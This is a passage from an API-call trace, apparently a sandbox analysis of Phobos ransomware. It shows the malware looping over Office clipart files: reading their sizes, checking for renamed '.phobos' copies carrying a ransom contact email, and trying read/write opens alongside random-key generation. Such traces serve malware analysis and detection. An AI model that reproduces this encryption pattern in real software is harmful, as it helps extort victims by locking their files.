0xffffffff [0153.566] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01265U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01265u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.566] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.566] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01332U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01332u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.567] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=32184) returned 1 [0153.567] CloseHandle (hObject=0x528) returned 1 [0153.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01332U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01332u.bmp")) returned 0x220 [0153.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01332U.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01332u.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.567] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01332U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01332u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.568] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.568] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01478U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01478u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.569] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=31968) returned 1 [0153.569] CloseHandle (hObject=0x528) returned 1 [0153.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01478U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01478u.bmp")) returned 0x220 [0153.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01478U.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01478u.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.569] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01478U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01478u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.569] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.569] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01562U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01562u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.575] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=32184) returned 1 [0153.575] CloseHandle (hObject=0x528) returned 1 [0153.575] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01562U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01562u.bmp")) returned 0x220 [0153.575] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01562U.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01562u.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.575] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01562U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01562u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.575] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.575] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01607U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01607u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.578] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=31968) returned 1 [0153.578] CloseHandle (hObject=0x528) returned 1 [0153.578] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01607U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01607u.bmp")) returned 0x220 [0153.578] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01607U.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01607u.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.578] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01607U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01607u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.579] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.579] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01931J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01931j.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.579] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=39614) returned 1 [0153.579] CloseHandle (hObject=0x528) returned 1 [0153.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01931J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01931j.jpg")) returned 0x220 [0153.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01931J.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01931j.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.580] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01931J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01931j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.580] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.580] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02028K.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02028k.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.581] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=17694) returned 1 [0153.581] CloseHandle (hObject=0x528) returned 1 [0153.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02028K.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02028k.jpg")) returned 0x220 [0153.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02028K.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02028k.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.581] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02028K.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02028k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.581] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.581] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02039U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02039u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.582] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=31968) returned 1 [0153.582] CloseHandle (hObject=0x528) returned 1 [0153.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02039U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02039u.bmp")) returned 0x220 [0153.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02039U.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02039u.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.582] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02039U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02039u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.582] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.582] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02040U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02040u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.584] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=32184) returned 1 [0153.584] CloseHandle (hObject=0x528) returned 1 [0153.584] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02040U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02040u.bmp")) returned 0x220 [0153.584] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02040U.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02040u.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.584] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02040U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02040u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.584] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.584] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02053J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02053j.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.585] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=27388) returned 1 [0153.585] CloseHandle (hObject=0x528) returned 1 [0153.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02053J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02053j.jpg")) returned 0x220 [0153.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02053J.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02053j.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.585] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02053J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02053j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.585] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.585] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02058U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02058u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.586] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=31968) returned 1 [0153.586] CloseHandle (hObject=0x528) returned 1 [0153.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02058U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02058u.bmp")) returned 0x220 [0153.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02058U.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02058u.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.586] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02058U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02058u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.586] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.586] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02062U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02062u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.587] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=31968) returned 1 [0153.587] CloseHandle (hObject=0x528) returned 1 [0153.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02062U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02062u.bmp")) returned 0x220 [0153.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02062U.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02062u.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02062U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02062u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.587] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02069J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02069j.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.588] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=29335) returned 1 [0153.588] CloseHandle (hObject=0x528) returned 1 [0153.588] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02069J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02069j.jpg")) returned 0x220 [0153.588] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02069J.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02069j.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.588] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02069J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02069j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.589] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.589] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02071U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02071u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.590] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=32184) returned 1 [0153.590] CloseHandle (hObject=0x528) returned 1 [0153.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02071U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02071u.bmp")) returned 0x220 [0153.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02071U.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02071u.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.590] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02071U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02071u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.590] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.590] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02074U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02074u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.729] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=31968) returned 1 [0153.729] CloseHandle (hObject=0x528) returned 1 [0153.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02074U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02074u.bmp")) returned 0x220 [0153.730] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02074U.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02074u.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.730] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02074U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02074u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.730] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.730] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02749g.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.731] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=34709) returned 1 [0153.731] CloseHandle (hObject=0x528) returned 1 [0153.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02749g.gif")) returned 0x220 [0153.732] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749G.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02749g.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.732] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02749g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.732] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.732] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02749u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.733] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=33048) returned 1 [0153.733] CloseHandle (hObject=0x528) returned 1 [0153.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02749u.bmp")) returned 0x220 [0153.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749U.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02749u.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.734] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02749u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.734] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.734] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02750g.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, 